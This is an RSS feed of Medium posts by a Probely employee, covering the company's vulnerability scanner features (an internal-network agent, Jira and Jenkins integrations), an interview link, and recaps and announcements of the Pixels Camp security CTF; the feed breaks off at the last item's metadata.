<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Tiago Mendo on Medium]]></title>
        <description><![CDATA[Stories by Tiago Mendo on Medium]]></description>
        <link>https://medium.com/@tmendo?source=rss-fd94dc1bedf4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*L10c-VtCXagBQOFUnwfRig.jpeg</url>
            <title>Stories by Tiago Mendo on Medium</title>
            <link>https://medium.com/@tmendo?source=rss-fd94dc1bedf4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 18:31:46 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@tmendo/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SafetyDetectives Interview with Probely’s CEO]]></title>
            <link>https://medium.com/probely/safetydetectives-interview-with-probelys-ceo-70eb7541f0d5?source=rss-fd94dc1bedf4------2</link>
            <guid isPermaLink="false">https://medium.com/p/70eb7541f0d5</guid>
            <category><![CDATA[interview]]></category>
            <category><![CDATA[ceo]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[probely]]></category>
            <dc:creator><![CDATA[Tiago Mendo]]></dc:creator>
            <pubDate>Fri, 14 May 2021 08:49:27 GMT</pubDate>
            <atom:updated>2021-05-14T09:01:45.876Z</atom:updated>
            <content:encoded><![CDATA[<p>Our CEO and Co-Founder Nuno Loureiro was recently interviewed by Safety Detectives.</p><p>He talked about our history and goals when we decided to build Probely, and briefly explains what keeps Probely ahead of the competition.</p><p>If would like to read the interview you can find it <a href="https://www.safetydetectives.com/blog/interview-nuno-loureiro-probely/">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*G2rEHyZPA50-sK8C_evpWg.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=70eb7541f0d5" width="1" height="1" alt=""><hr><p><a href="https://medium.com/probely/safetydetectives-interview-with-probelys-ceo-70eb7541f0d5">SafetyDetectives Interview with Probely’s CEO</a> was originally published in <a href="https://medium.com/probely">Probely</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Scan internal applications for vulnerabilities]]></title>
            <link>https://medium.com/probely/scan-internal-applications-for-vulnerabilities-fdc4ba7bf096?source=rss-fd94dc1bedf4------2</link>
            <guid isPermaLink="false">https://medium.com/p/fdc4ba7bf096</guid>
            <category><![CDATA[private-network]]></category>
            <category><![CDATA[enterprise]]></category>
            <category><![CDATA[proxy]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Tiago Mendo]]></dc:creator>
            <pubDate>Wed, 20 Jan 2021 08:03:11 GMT</pubDate>
            <atom:updated>2021-01-20T13:55:44.929Z</atom:updated>
            <content:encoded><![CDATA[<p>Many companies have internal web applications, accessible only from their corporate network or through a VPN. These are often back-offices, management portals, HR applications, and everything that makes sense only for the company workforce, not for their clients. This also means that cloud services, like Probely, could not scan them for vulnerabilities.</p><p>Until now.</p><p>We have published a long-awaited feature that gives our customers the ability to scan applications inside a private network: our <strong>Farcaster Agent.</strong></p><h4><strong>What is the Farcaster Agent?</strong></h4><p>In simple terms, our Farcaster Agent creates a secure tunnel between your internal network and us, giving you total control over what we can connect to.</p><p>The Agent materializes itself through a Virtual Machine or a Docker container installed inside your network. Once started, it creates a tunnel to Probely, which in turn is used to send the scan requests to your scan target. What is implicit here is that the Agent <strong>does not need</strong> to be exposed to the Internet since connections start inside out. The same goes for your target: no need to expose it.</p><p>The name was not chosen by chance: Farcaster is an <a href="https://en.wikipedia.org/wiki/Farcaster">instantaneous transportation</a> device from the Hyperion universe that connects planets as if they were close to each other. We thought it is an adequate name for something that brings together distant hosts: our scanning engine and your scanning targets.</p><h4>Improve your security</h4><p>If you have internal applications that are not being tested periodically or have test environments that are exposed to the Internet, this is a good opportunity to improve your security posture.</p><p>In the former case, don’t undervalue the need to scan internal applications: they are still exposed to many bad actors, such as malware spreading from laptops to disgruntled or curious employees, not forgetting partners with access to your network.</p><p>For the latter, you prevent test sites from being accessible to everyone. Remember, those sites typically have lower security requirements, with untested code, debug enabled, and features that yet to be announced to the general public. Keeping all that away from attackers is paramount.</p><p>By being able to scan all of these without exposing them, your organization reduces risks.</p><h4><strong>How does it work?</strong></h4><p>The best way to describe how the Probely Agent works is through an image:</p><figure><img alt="Probely Agent for internal application scanning network diagram" src="https://cdn-images-1.medium.com/max/1024/0*7xuyGXUXxtQ0VGIU" /><figcaption>Probely Agent network diagram</figcaption></figure><p>The <em>Remote Agent </em>sits in your network, either as a VM or a Docker container. After configured, it connects back to Probely, creating a tunnel to the <em>Agent Hub. </em>Authentication is mutual with client and server certificates.</p><p>When you start a scan for a target with an Agent configured, Probely will forward the requests through the tunnel that connects the <em>Agent Hub</em> and the <em>Remote Agent</em>, which in turn will forward the requests to the target.</p><p>The concept is simple, and it built on top of three principles:</p><p><strong>1. Security</strong></p><ul><li>Probely has no administrative access to the Agent host.</li><li>The Agent host supports custom firewall rules so that network access can be further restricted.</li><li>The Agent host does not listen on any public Internet port to reduce its attack surface.</li></ul><p><strong>2. Control</strong></p><ul><li>No black boxes: all code is open source, and it&#39;s <a href="https://github.com/Probely/farcaster-onprem-agent">published in our Github</a>, with a permissive license.</li><li>The instructions and tools to build the Agent are also at Github. This gives you the power to know exactly what is running on your infrastructure.</li><li>You have full control over the host and can change it as you see fit.</li></ul><p><strong>3. Simplicity</strong></p><ul><li>The code follows simple design decisions and uses industry-standard components whenever possible.</li><li>We keep network requirements to a minimum. There is no need for public IP addresses or complex firewall rules.</li><li>The Agent requires minimal hardware resources and is designed to scale easily.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VYEczbz30ylGyWey" /></figure><p><em>Photo by </em><a href="https://unsplash.com/@matthewhenry?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText"><em>Matthew Henry</em></a><em> on </em><a href="https://unsplash.com/?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText"><em>Unsplash</em></a></p><p><strong>Availability</strong></p><p>This feature is only available for our enterprise edition, <a href="https://probely.com/enterprise/">Probely Plus</a>. Even if you are not using this version, we are happy to listen to your needs.</p><p>Right now, you need to talk with us to enable and configure the Agent on your targets. We are still working on adding support for self-configuration in our beloved user-interface!</p><p><strong>Increase your productivity</strong></p><p>Now that you know how Probely’s Agent can help you, I hope you will trust us to <a href="https://probely.com/enterprise/">take your business security to the next level.</a></p><p>Regardless, if you have any questions about Probely’s Agent, you can leave a comment or reach out on our <a href="https://probely.com/">website</a>. Also, if you are interested in protecting your web application, I strongly recommend you to <a href="https://blog.probely.com/">explore our articles</a>.</p><p>Until the next time!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fdc4ba7bf096" width="1" height="1" alt=""><hr><p><a href="https://medium.com/probely/scan-internal-applications-for-vulnerabilities-fdc4ba7bf096">Scan internal applications for vulnerabilities</a> was originally published in <a href="https://medium.com/probely">Probely</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to use Jira for Vulnerability Management?]]></title>
            <link>https://medium.com/probely/how-to-use-jira-for-vulnerability-management-12e31e6b6a24?source=rss-fd94dc1bedf4------2</link>
            <guid isPermaLink="false">https://medium.com/p/12e31e6b6a24</guid>
            <category><![CDATA[jira]]></category>
            <category><![CDATA[vulnerability-management]]></category>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Tiago Mendo]]></dc:creator>
            <pubDate>Wed, 12 Jun 2019 14:44:21 GMT</pubDate>
            <atom:updated>2019-06-12T14:44:21.050Z</atom:updated>
            <content:encoded><![CDATA[<h3>How to manage vulnerabilities in Jira?</h3><p><strong><em>Jira is one of the most widely adopted Issue and Project Tracking Software out there. </em></strong><a href="https://www.atlassian.com/software/jira"><strong><em>Atlassian’s Jira</em></strong></a><strong><em> has been named the #1 software development tool for agile teams. And Probely now allows you to synchronize your security issues into your Jira issue tracker. So, how do you manage vulnerabilities in Jira using </em></strong><a href="https://probely.com/?utm_medium=blog&amp;utm_source=medium&amp;utm_campaign=jirablog&amp;utm_content=jirahp"><strong><em>Probely</em></strong></a><strong><em>?</em></strong></p><p>In this day and age, the work environment of software teams consists of complicated issues, tackled by multiple tools, frameworks and people. And often it can be quite overwhelming to track and deal with all the information on different platforms. And this is why we believe integrating Probely with other tools is of crucial importance to our customers and to us. At Probely, we want to make web application security easy and accessible to developers, and software teams. And this is quite a step forward, since now we provide developers and software teams with the ability to manage their security findings and not leave their workflows or digital workplaces.</p><p>Probely supports both Jira Cloud and Jira Server (on premises), so whichever you are using, you will be able to integrate Web Application Security findings in your workflow.</p><h4>What can Jira and Probely do together (Features)?</h4><p>We tried to make the integration between JIRA and our web vulnerability scanner (<a href="https://probely.com/?utm_medium=blog&amp;utm_source=medium&amp;utm_campaign=jirablog&amp;utm_content=jirahp">Probely</a>) as agile and quick as possible. In order to do that we noticed that we need more than a simple integration with Jira. So, we included some cool features that will make things run a lot easier and smoother.</p><p><strong>Two-way sync</strong></p><p>Once you setup Probely and Jira, each vulnerability found by Probely will be created as an issue in Jira. And once that Jira issue is marked as ‘done’, Pobely will automatically trigger a retest on that vulnerability. If the vulnerability is fixed then it is marked as such. If the vulnerability is not fixed, then the status of the Jira issue goes from ‘done’ to its previous state.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XU7EKlNh4FI9yhOrYilQ6g.png" /><figcaption>Probely &lt;-&gt; Jira Integration</figcaption></figure><h4><strong>Status and Severity Mapping</strong></h4><p>Probely allows you to map values of Probely vulnerabilities to the existing Status types in your Jira workflow. Mapping ‘Fixed’ and ‘Not Fixed’ values are required for the integration to work. However, you can additionally map ‘Accepted Risk’ of a vulnerability that you don’t need to fix, to its respective Jira status type (e.g. ‘doesn’t need fixing’). This way you are able to personalize the integration and set the terms between the two platforms.</p><p>Another feature, or setting, rather, similar to Status Mapping is the Severity Mapping. Here you can map the severity or the ‘risk’ of vulnerabilities found in Probely to their respective importance status in Jira. For example, you would want to map vulnerabilities defined as High by Probely, to issue severity levels that resemble ‘critical importance’ in your workflow.</p><p><strong>Automatically sync all findings or sync selected findings that matter</strong></p><p>The default (and recommended) configuration in Probely is to automatically sync all Probely findings with Jira. This way, every past and future finding will appear as an open finding in Jira.<br>However, we wanted to make Probely and Jira useful for as many use-cases as possible. So, if for some reason this doesn’t work for you, or if you want a more hands-on experience you can manually sync selected vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iVvazawkySOCcWUIQAWK0Q.png" /><figcaption>Manually Syncing a finding with Jira Cloud</figcaption></figure><p><strong>“How to fix” instructions, evidence and vulnerability descriptions in Jira</strong></p><p>When a finding is published in Jira, Probely also sends description, evidence, instructions on how to fix the vulnerability, and the link to Probely. This allows developers to learn about the type of security issue and fix it without actually leaving Jira. The instruction and additional information is under ‘Description’ of the task.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-nhWm9Bq8f13wxL3LPP-7A.png" /><figcaption>Description and ‘How to Fix’ of SQL Injection in Jira</figcaption></figure><h4>How to successfully sync Probely with an existing Jira Server?</h4><p>Here, I will explain a simple flow of how Probely could be used and integrated with an existing Jira Server. This is just one use-case and, of course, I would recommend you to personalize your experience so it works best for you.</p><p>Let’s say you add your target (the website you want to scan) and have Probely configured to run periodic scans. For example, you can schedule recurring weekly scans (<a href="https://help.probely.com/quick-how-to-s/how-to-schedule-a-scan">here’s how to do that</a>). Now, it’s time to integrate Probely with Jira. You <a href="https://marketplace.atlassian.com/vendors/1216371/probely">Install Probely on the Atlassian Marketplace</a>, set correct Status and Severity mapping configurations, sync findings, and you are ready to go. Here’s <a href="https://help.probely.com/integrations/how-to-integrate-probely-with-jira-server">how you can integrate Probely with your Jira Server</a>, or <a href="https://help.probely.com/integrations/jira-syncronization-settings">how to configure the Jira synchronization settings </a>(this applies for Jira Cloud and Server).</p><p>Now that you have your setup done, and your scans running, each finding detected by Probely will be also published to Jira (with the appropriate Status and Severity values). Developers would then receive the Jira tasks (security findings), and under ‘Description’ they would have instructions on how to fix those vulnerabilities and some additional information. Once they used that, and the vulnerability is fixed - the task is closed. That triggers a retest of the finding by Probely, to make sure that the vulnerability is fixed properly. If it’s not, then the Jira issue is reopened, and the developer tries fixing it again. If the issue is properly fixed, then the Jira issue is kept close.<br>Alternatively, the periodic scans can detect if a finding is fixed, and they will aromatically close the ticket for that finding (set that Jira issue to the state you mapped to Fixed when configuring the integration).</p><h4>Why did we do it? Why should you do it?</h4><p>The reason why we worked hard on this integration, and why you should make use of it, is to save you time and make developers happy. When developers don’t have to change any workflow within the company, it takes out a lot of the frustration and it saves tons of times. And security, often times is seen as that one thing that just can’t fit properly into your Software Development Life Cycle (SDLC). However, now your SDLC is more secure, and you have a security tool that integrates with your existing SDLC workflow effortlessly.</p><p>Additionally, the Probely-Jira integration provides management with an overview of the security status of company projects by following Jira boards that include Probely issues.</p><p><strong><em>So, if you don’t already have a Probely account, you can easily </em></strong><a href="https://probely.com/#signup?utm_medium=blog&amp;utm_source=medium&amp;utm_campaign=jirablog&amp;utm_content=jiratrial"><strong><em>Start a 14-day Free trial</em></strong></a><strong><em> and check out how all of this works.</em></strong></p><p>If you need any help, please don’t hesitate to let us know, we’d be glad to help!</p><p>P.S. You can help your developers make their code more secure by providing them with this cool <a href="https://blog.probely.com/web-application-security-checklist-ee0479bf60c6">Web Application Security Checklist</a>!</p><h4>Relevant links:</h4><ul><li><a href="http://help.probely.com/integrations/how-to-integrate-probely-with-jira-server">How to integrate Probely with Jira Server</a></li><li><a href="https://help.probely.com/integrations/jira-synchronization-settings">Jira synchronization settings</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=12e31e6b6a24" width="1" height="1" alt=""><hr><p><a href="https://medium.com/probely/how-to-use-jira-for-vulnerability-management-12e31e6b6a24">How to use Jira for Vulnerability Management?</a> was originally published in <a href="https://medium.com/probely">Probely</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The 2019 Pixels Camp CTF write up]]></title>
            <link>https://medium.com/probely/the-2019-pixels-camp-ctf-write-up-98cbac5406e4?source=rss-fd94dc1bedf4------2</link>
            <guid isPermaLink="false">https://medium.com/p/98cbac5406e4</guid>
            <category><![CDATA[hackathons]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pixelscamp]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Tiago Mendo]]></dc:creator>
            <pubDate>Wed, 03 Apr 2019 16:12:21 GMT</pubDate>
            <atom:updated>2019-04-03T16:25:47.525Z</atom:updated>
            <content:encoded><![CDATA[<h3>The 2019 Pixels Camp CTF chronicles</h3><p>Just like last year, we were present during the 3 days at the third edition of <a href="http://pixels.camp/">Pixels Camp</a>, the largest and best developer conference in Portugal.</p><p>In addition to the Probely <a href="https://twitter.com/probely/status/1109078939140608000">stand</a> where we had the chance to collect lots of good feedback from the developers attending the event, we organized another edition of the <a href="https://blog.pixels.camp/start-your-hoodies-99311278306a">Pixels Camp Security CTF</a>. And it was a blast!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XuCh8z4G5ir-9mcurjMAyg.jpeg" /><figcaption>The CTF war room.</figcaption></figure><p>The CTF consisted of a series of 16 challenges, four for each category: Web Hacking, Forensics, Pwnable and Trivia. During the 3 hours each team rushed to solve the challenges as quickly as possible. Before the CTF itself, each team had to qualify by going through 5 challenges, to prove that they would be able to solve the challenges at the CTF.</p><p>The first person to solve the Qualifiers challenges was <a href="https://twitter.com/manuelvsousa"><strong>Manuel Sousa</strong></a>. Congrats!</p><p>This year we reduced the points each Trivia challenge was worth, for them to have a smaller weigh on the classification. We wanted the Trivia to be just a warm-up and for people to have some fun answering them. The objective was achieved, as all teams preferred this model.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d1L25nbFaAPbuH098mo1Jg.jpeg" /><figcaption>You can tell its real hacking because a hoodie is visible.</figcaption></figure><p>We had another novelty: a physical challenge. This involved going through a deck of playing cards, sealed in an evidence bag. The objective was to decrypt a message hidden in the cards.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ey8l466KDsvQjYYdP7c7-A.jpeg" /><figcaption>Frequency analysis on the encrypt message</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LHy_n1TXQ4GBAZC0CUiqSg.png" /><figcaption>The final score</figcaption></figure><p>This year, the winner was the team <em>Eu vi mas não exploitei </em>which can be roughly translated to <em>I saw but I did not exploit</em>. But these guys actually did exploit our challenges and won with a fair advantage. Congrats <strong>Yevgen, </strong><a href="https://twitter.com/0xz3z4d45"><strong>Zezadas</strong></a><strong>, Armysick, and </strong><a href="https://twitter.com/_nunohumberto"><strong>Nuno Humberto</strong></a>. <br>Some of them had extra fun during the event, <a href="https://twitter.com/_nunohumberto/status/1109603282278858753">responsibly disclosing a 0-day</a> in a blockchain startup whose technology was in use at the event.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ak7T-dB8H2hJ1EZfEgeWug.jpeg" /><figcaption>From the left, me (Tiago), Alexandre from Bright Pixel, Nuno Loureiro (our CEO), the winning team and Celso (the man behind Pixels Camp and Bright Pixel).</figcaption></figure><p>As usual, we are going to publish the challenges from the Qualifiers and from the CTF, but only those that were solved. The others… maybe they’ll show up in the Qualifiers for next year!</p><p>A big thank you to all participants and to <a href="https://medium.com/u/691faf3335e5">Pixels Camp</a> for hosting us and huge thanks to <a href="https://medium.com/u/ac67aecb3381">tomahock</a> and <a href="https://medium.com/u/544ffdc1b5b0">serranos</a> for helping us with the challenges!</p><p>The Probely team</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=98cbac5406e4" width="1" height="1" alt=""><hr><p><a href="https://medium.com/probely/the-2019-pixels-camp-ctf-write-up-98cbac5406e4">The 2019 Pixels Camp CTF write up</a> was originally published in <a href="https://medium.com/probely">Probely</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to configure Jenkins to integrate security into CI/CD]]></title>
            <link>https://medium.com/probely/how-to-configure-jenkins-to-integrate-security-into-ci-cd-2b340728de56?source=rss-fd94dc1bedf4------2</link>
            <guid isPermaLink="false">https://medium.com/p/2b340728de56</guid>
            <category><![CDATA[developer]]></category>
            <category><![CDATA[web-app-development]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[developer-tools]]></category>
            <category><![CDATA[jenkins]]></category>
            <dc:creator><![CDATA[Tiago Mendo]]></dc:creator>
            <pubDate>Mon, 18 Mar 2019 18:26:20 GMT</pubDate>
            <atom:updated>2019-04-29T13:18:52.603Z</atom:updated>
            <content:encoded><![CDATA[<p>If you are a developer using Jenkins you most likely have functional tests in place. However, security tests are not that frequently seen integrated into Continuous Integration and Deployment (CI/CD) pipelines, leaving these applications potentially insecure.</p><p>For developers to test the security of their applications more easily, they need the right tools. So, in order to take another step towards helping developers secure their apps we launched our <a href="https://plugins.jenkins.io/probely-security">Security Scanner plugin</a> for Jenkins. The plugin will automate the security testing process for developers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MmkngNW1A-U3NAlJH5SDYQ.png" /><figcaption>The plugin page at the Jenkins Plugins Index.</figcaption></figure><p>With Probely’s plugin you can automatically start a security scan every time your Jenkins pipeline is executed. Suppose you already use Jenkins to do unit, functional or integration tests: now you can add another step in that pipeline that will automatically test the security of your application.<br>Jenkins allows you to have an arbitrary number of build and test scenarios, but a common pattern is as follows:</p><ul><li><strong>build step</strong>: compiles the application or creates the Docker containers</li><li><strong>deploy step</strong>: sends the compiled code or the containers to a test server and execute them</li><li><strong>test step</strong>: execute tests on the running application</li></ul><p>The Probely plugin is a <em>build</em> task, that runs after the application is built and deployed.</p><p>It is recommended that the security tests run after the integration/functional tests pass, to ensure that the application is working properly. A broken application may cause security tests to miss vulnerabilities because a particular feature is not working.</p><h4>Installation and setup</h4><p>To set this up, you will first need a Probely account. You can just sign up <a href="https://probely.com/#signup?utm_medium=blog&amp;utm_source=medium&amp;utm_campaign=jenkinsblog&amp;utm_content=jenkins">here</a>, and from there add the target you want to check the security of. This will start a Free 14-day trial for you.</p><p>Installing the plugin is easy: go to <em>Manage Plugins</em>, select the <em>Available</em> tab and search for <em>probely</em>. Check the <em>Install</em> box and hit <em>Install without restart</em>. Done!</p><p>The plugin needs to communicate with Probely’s API, so you need to generate an API key for Jenkins to use. Obtain the key in your target settings, as shown in the following image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZtCXhFchzGer39IyC-Pomw.png" /><figcaption>Name your key, and save the target id and the generated API key</figcaption></figure><p>Then add the API key to Jenkins credentials store, as a <em>Secret text</em>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qIWDQm0_kHhCWdpf5zzPnw.png" /><figcaption>Click the arrow next to (global)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e_tP8Xe8--44a-6ayouLvQ.png" /><figcaption>Add an ID and Description that pleases you</figcaption></figure><p>At this point, you are ready to add Probely scans as a step in your pipeline. <br>The plugin can be used in both Freestyle and Pipeline projects, and this post will provide an example for each one. You can learn more about these two project types and their differences <a href="https://jenkins.io/pipeline/getting-started-pipelines/">here</a>.</p><h4>Freestyle project</h4><p>Creating a freestyle project is the simplest way to have a repeatable process to build and test your application, especially for simple applications with just a few jobs.</p><p>If you already have a freestyle project you only need to configure the plugin. To do that go to the project listing page, click <em>Configure</em> in the drop-down menu next to the project name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8idOlAIBG0f_FMVAmV5J4A.png" /><figcaption>Choose the project where you want to add Probely’s Security Scanner.</figcaption></figure><p>Once inside the project configuration screen, scroll down to the B<em>uild Actions </em>section, click <em>Add build action</em> and choose <em>Probely Security Scanner.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JiwZweU2nTXYfMeBPt_T7w.png" /><figcaption>Enter the target id and the Probely API credentials</figcaption></figure><p>The plugin itself only requires the <em>id</em> of the target you want to scan and the Probely API credentials, that you saved before. The target id can be found in the Probely settings of the target.</p><p>In the <em>Credentials</em> option choose the one that matches the description you wrote when saving the API key in the Jenkins credential store. In this example, it is <em>API Credentials for myproject on Probely</em>.</p><p>If the connection to Probely’s API is working correctly, and the credentials are valid, you should see the message <strong>Credentials verified successfully</strong>.</p><p>Hit <em>Save</em> and it is done. Next time the build job for this project runs, Probely will test the security of the configured target and will send you an email with the scan results in the end.</p><h4>Pipeline project</h4><p>Pipeline projects are the most flexible and powerful way of creating CI/CD pipelines with Jenkins.</p><p>The projects need a configuration file, a <em>Jenkinsfile</em>. The one in our example uses the more modern declarative syntax, instead of the imperative one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xgqb6kdG8OFBrn-VpR1Hzg.png" /><figcaption>Jenkinsfile with a stage that scans for vulnerabilities</figcaption></figure><p>In this file, we just added a stage <em>Scan with Probely</em> with the indication of which target to scan, <em>9n16yy0TWWKv</em>, and which credentials ID to use. These credentials were the ones you saved previously, in the <strong>Installation and setup</strong> section.</p><p>As with the Freestyle project, the security tests are executed after the functional tests, in this case after the <em>Unit tests</em> stage, to ensure the application is working properly.</p><p>Now you just need to update the <em>Jenkinsfile</em> from the Pipeline project you want to change. Go to the project configuration, then to the <em>Pipeline</em> section and update the configuration with the new one. If your <em>Jenkinsfile </em>is stored in a repository that was already configured here (<em>Pipeline script from SCM</em>) you only need to commit the updated file to the repository</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JdkcgpDQ0mXpJ2ZIG9KgzA.png" /><figcaption>Pipeline project with a stage that uses Probely</figcaption></figure><p>Your pipeline has now a stage that scans your target for vulnerabilities.</p><h4>Coming features</h4><p>At the target settings page, you have some options regarding how Probely scans your target. You can choose <a href="https://help.probely.com/scanner/scanning-profiles-and-their-differences">different scanning profiles</a>, add a login URL and credentials to scan behind login pages, add custom headers and even enable <a href="https://blog.probely.com/new-in-probely-website-jira-integrations-jenkins-plugin-and-more-8ba9f168e1b6">automatic synchronization</a> with your Jira project, just to name a few.</p><p>Right now you must change these configurations at Probely, but we will progressively add them to the plugin. A good example is the possibility to choose the scan profile directly in the Jenkins plugin, for a more flexible build step construction.</p><p>We would love to hear about your Jenkins use-case, how you are using it to build and test your application, but more importantly, how you would like Probely to work with your existent use-case.</p><p>By the way, as all Jenkins plugins, the code of the plugin is available at <a href="https://github.com/jenkinsci/probely-security-plugin">GitHub</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2b340728de56" width="1" height="1" alt=""><hr><p><a href="https://medium.com/probely/how-to-configure-jenkins-to-integrate-security-into-ci-cd-2b340728de56">How to configure Jenkins to integrate security into CI/CD</a> was originally published in <a href="https://medium.com/probely">Probely</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Security CTF — Start Your Hoodies!]]></title>
            <link>https://medium.com/pixels-camp/start-your-hoodies-99311278306a?source=rss-fd94dc1bedf4------2</link>
            <guid isPermaLink="false">https://medium.com/p/99311278306a</guid>
            <category><![CDATA[pixelscamp]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[probely]]></category>
            <category><![CDATA[ctf2019]]></category>
            <dc:creator><![CDATA[Tiago Mendo]]></dc:creator>
            <pubDate>Thu, 07 Feb 2019 21:43:43 GMT</pubDate>
            <atom:updated>2019-02-07T21:43:43.991Z</atom:updated>
            <content:encoded><![CDATA[<h3>Security CTF — Start Your Hoodies!</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KjNDOuC3xsx2T-M5z9Zfkg.png" /><figcaption>Get your best hoodie ready to play! (Photo by <a href="https://unsplash.com/@chack622">Isaac Castillejos</a>)</figcaption></figure><p>The <a href="https://probely.com/">Probely</a> team will, again, organize the security capture the flag (CTF) competitions on this edition of Pixels Camp.</p><p>The CTF will take place at <a href="https://pixels.camp/">Pixels Camp</a>, a 3 day non-stop tech event with talks, workshops and a 48 hour programming competition, held in Lisbon, Portugal, which had over 1000 attendees last year. Pixels Camp is organized by <a href="https://brpx.com/">Bright Pixel</a>, one of our investors.</p><p>It is a 3 hour competition with challenges that cover web security, cryptography, forensics and t̶o̶f̶u̶ trivia, where 10 teams of 4 people race against the clock to solve them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n-9kEbyafEVM3zydzN73pw.jpeg" /><figcaption>Teams getting ready for the competition. Sadly, no hoodies can be seen.</figcaption></figure><p>To participate in the CTF one must first qualify by solving a series of challenges that we’ve named <strong>The Qualifiers</strong>.</p><blockquote>The qualifiers will open on 1st of March 8pm at the <a href="https://ctf.pixels.camp/">Pixels Camp CTF page</a>.</blockquote><p>The challenges are open to anyone and are a very good opportunity to test your security skills. They are a good preparation for the CTF and you will have fun solving them while learning about subjects.</p><p>In the meantime, you can take a look at the qualification and CTF challenges from previous editions and train your skills. They are available on <a href="https://github.com/Probely/CTF-Challenges">Probely’s Github Page</a>.</p><p>So, wash your best hoodie, the qualifiers are coming.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=99311278306a" width="1" height="1" alt=""><hr><p><a href="https://medium.com/pixels-camp/start-your-hoodies-99311278306a">Security CTF — Start Your Hoodies!</a> was originally published in <a href="https://medium.com/pixels-camp">Pixels Camp</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Web Application Security Checklist]]></title>
            <link>https://medium.com/probely/web-application-security-checklist-ee0479bf60c6?source=rss-fd94dc1bedf4------2</link>
            <guid isPermaLink="false">https://medium.com/p/ee0479bf60c6</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[web-app-development]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[developer-tools]]></category>
            <dc:creator><![CDATA[Tiago Mendo]]></dc:creator>
            <pubDate>Thu, 06 Dec 2018 16:02:12 GMT</pubDate>
            <atom:updated>2019-08-05T05:04:14.208Z</atom:updated>
